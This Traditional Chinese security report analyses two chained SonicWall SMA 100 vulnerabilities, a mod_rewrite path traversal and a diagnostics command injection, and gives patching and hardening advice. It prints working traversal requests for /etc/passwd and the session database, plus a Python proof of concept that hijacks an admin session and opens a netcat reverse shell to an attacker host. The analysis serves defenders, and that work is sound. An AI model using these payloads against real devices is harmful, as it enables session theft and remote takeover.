摘要

本報告分析了SonicWall Secure Mobile Access (SMA) 100系列設備中兩個關鍵漏洞的技術機制—— CVE-2023-44221 (認證後命令注入)與 CVE-2024-38475 (認證前任意檔案讀取)。這些漏洞若被串聯利用,未經認證的攻擊者可劫持管理員session、執行任意命令,並完全危害設備。本研究剖析了Apache mod_rewrite 設定錯誤、命令注入漏洞及其現實世界的利用路徑,輔以逆向工程的程式碼邏輯與網路協定分析。

SonicWall SMA漏洞危機:從Session劫持到RCE的致命攻擊路徑 | 資訊安全新聞

1. 簡介

SonicWall SMA設備是為提供安全遠端存取而設計的企業級VPN閘道器。然而,其Apache HTTP伺服器實作與SSL-VPN管理介面中的漏洞使這些設備暴露於攻擊之中。CISA已將這兩個漏洞列入其已知被攻擊漏洞(KEV)目錄,確認其在現實中被積極攻擊。本報告聚焦於:

  1. CVE-2024-38475 :Apache mod_rewrite 中的 Path traversal 漏洞,允許未經認證的檔案讀取。
  2. CVE-2023-44221 :認證後的作業系統命令注入(OS command injection)漏洞。

2. 漏洞分析

2.1 CVE-2024-38475:認證前任意檔案讀取

根本原因 :此漏洞源於Apache mod_rewrite 模組中不當的路徑處理。在處理URL時, r->filename 被視為URL路徑而非檔案系統路徑,使攻擊者可利用URL編碼的問號( %3F )截斷路徑。

攻擊機制

  1. RewriteRule設定錯誤

    SonicWall的Apache設定包含一個有漏洞的 RewriteRule

    RewriteRule ^/(.+)\.[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[A-Za-z0-9]*-[0-9]+.*\.css$ /$1.css

    此規則試圖提供版本化的CSS檔案,但未限制路徑解析至 DocumentRoot /usr/src/EasyAccess/www/htdocs )。攻擊者透過注入 %3F ,可繞過附加的後綴(例如 .css )並穿越目錄(Traverse directories)。

  2. 任意檔案存取範例

    https://<target>/static/css/../../../../etc/passwd%3F 的精心設計請求會截斷路徑,解析為 /etc/passwd 而非預期的CSS檔案。這允許提取敏感檔案,例如包含有效session token的SQLite資料庫( /usr/src/EasyAccess/var/db/main.db )。

影響 :未經認證的攻擊者可竊取管理員session cookies,劫持帳戶並提升權限。

2.2 CVE-2023-44221:認證後命令注入

根本原因 :SSL-VPN管理介面在診斷選單中未妥善過濾使用者輸入。認證後的攻擊者可透過精心設計的參數注入作業系統命令。

攻擊流程

  1. Session劫持 :利用CVE-2024-38475從 main.db 提取session token。
  2. 命令注入

    使用竊取的管理員憑證,向 /cgi-bin/Diagnostics 發送POST請求,帶有惡意的 diagnostics_command 參數:

    POST /cgi-bin/Diagnostics HTTP/1.1
    ...
    diagnostics_command=ping+-c+3+127.0.0.1;id

    id 命令以 nobody 使用者身份執行,進一步實現權限提升。

影響 :攻擊者可獲得遠端程式碼執行(RCE),修改防火牆規則或部署惡意軟體。

3. 攻擊鏈與現實世界利用

  1. 階段1 – 初始存取

    利用CVE-2024-38475下載 main.db 並提取有效的session token。

  2. 階段2 – 橫向移動

    使用竊取的token以管理員身份進行認證。

  3. 階段3 – RCE

    透過劫持的session觸發CVE-2023-44221,執行命令(例如反向shell )。

概念驗證(PoC)

WatchTowr Labs展示了可行的漏洞攻擊鏈:

  1. # Step 1: Extract session token via CVE-2024-38475
  2. import requests
  3. response = requests.get("https://<target>/static/css/..%2F..%2F..%2F..%2Fusr/src/EasyAccess/var/db/main.db%3F")
  4. session_token = extract_token(response.content)
  5. # Step 2: Execute commands via CVE-2023-44221
  6. headers = {"Cookie": f"sessionID={session_token}"}
  7. payload = {"diagnostics_command": "ping -c 3 127.0.0.1; /bin/sh -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> 4444 >/tmp/f'"}
  8. requests.post("https://<target>/cgi-bin/Diagnostics", headers=headers, data=payload)

4. 緩解策略

  1. 更新部署
    • 升級至韌體版本 10.2.1.14-75sv (CVE-2024-38475)與 10.2.1.10-62sv (CVE-2023-44221)。
  2. 網路強化
    • 限制WAN對SMA管理介面的存取。
    • 監控對 /static/css/* %3F 模式的異常請求。
  3. 程式碼審計
    • 驗證 mod_rewrite 規則並過濾CGI處理程式中的輸入。

5. 與物聯網漏洞的比較分析

SonicWall的漏洞反映了物聯網/邊緣設備中的系統性問題:

  • 不安全的預設設定 :過於寬鬆的 RewriteRule 指令暴露關鍵檔案。
  • 層次化認證繞過 :結合認證前與認證後漏洞放大攻擊影響。
  • 舊版程式碼庫風險 :由於不良的更新實踐(Poor update practices),企業設備中持續存在過時的Apache版本( 2.4.59 )。

6. 結論

CVE-2023-44221與CVE-2024-38475凸顯了不當輸入驗證與不安全第三方程式庫的危險性。漏洞攻擊鏈強調了嚴格程式碼審查、及時更新與深度防禦策略的必要性。企業必須優先進行韌體更新,並採用入侵偵測系統以識別利用嘗試。

Copyright © 2025 版權所有 翊天科技有限公司